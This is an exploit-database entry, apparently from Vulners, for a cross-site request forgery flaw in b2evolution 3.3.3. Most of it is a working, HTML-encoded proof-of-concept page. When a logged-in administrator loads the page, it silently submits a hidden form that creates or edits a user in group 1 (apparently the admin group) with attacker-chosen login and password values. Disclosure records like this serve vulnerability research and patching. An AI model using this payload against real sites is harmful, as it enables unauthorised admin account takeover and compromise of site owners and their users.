b2evolution 3.3.3 Cross Site Request Forgery [CSRF]

🗓️ 01 Jul 2014 00:00:00Reported by RootType
b2evolution 3.3.3 Cross Site Request Forgery vulnerabilit

                                                ----------------------------------------------------------------------------
: # Exploit Title: b2evolution 3.3.3  Cross site request forgery           :
: # Date: 05/07/2010  & 23/07/1431 H                                       :
: # Author: saudi0hacker                                                   :  
: # Software Link: http://b2evolution.net/downloads/index.html             :
: # Version: 3.3.3                                                         :
: # Tested on: Linux os                                                    : 
: # Greetz to : pr.al7rbi : so busy : evil-ksa : Dr.dakota : v4-team.com   :
----------------------------------------------------------------------------

&#60;html&#62;
&#60;body onload=&#34;document.forms[&#39;admin&#39;].submit();&#34;&#62;
&#60;form name=&#34;admin&#34; method=&#34;post&#34; action=&#34;http://localhost/b2/blogs/admin.php?ctrl=users&user_ID=0&&action=userupdate&#34;&#62;  &#60;!-- &#62;&#62; edit the action --&#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_grp_ID&#34; value=&#34;1&#34;&#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_firstname&#34;&#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_locale&#34;&#62; 
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_url&#34; &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_icq&#34; &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_aim&#34; &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_msn&#34; &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_yim&#34;&#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_admin_skin&#34; &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_action_icon_threshold&#34; value=&#34;1&#34;  &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_action_word_threshold&#34; value=&#34;1&#34;  &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_legend&#34; value=&#34;1&#34; &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_bozo&#34; value=&#34;1&#34; &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_focusonfirst&#34; value=&#34;1&#34; &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_results_per_page&#34; &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_level&#34; value=&#34;1&#34; &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_validated&#34;value=&#34;1&#34; &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_allow_msgform&#34;value=&#34;1&#34; &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_notify&#34;value=&#34;1&#34; &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_idmode&#34;&#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_idmode&#34;&#62;

&#60;! Dont edit before these line--&#62;

&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_email&#34; value=&#34;[email protected]&#34; /&#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_login&#34; value=&#34;hackederddd&#34; &#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_lastname&#34; value=&#34;hackederddd&#34;&#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_nickname&#34; value=&#34;hackederddd&#34;&#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_pass1&#34;    value=&#34;hackederddd&#34;/&#62;
&#60;input  type=&#34;hidden&#34; name=&#34;edited_user_pass2&#34;    value=&#34;hackederddd&#34;/&#62;
&#60;! Coded By Saudi0hacker --&#62;
&#60;/form&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1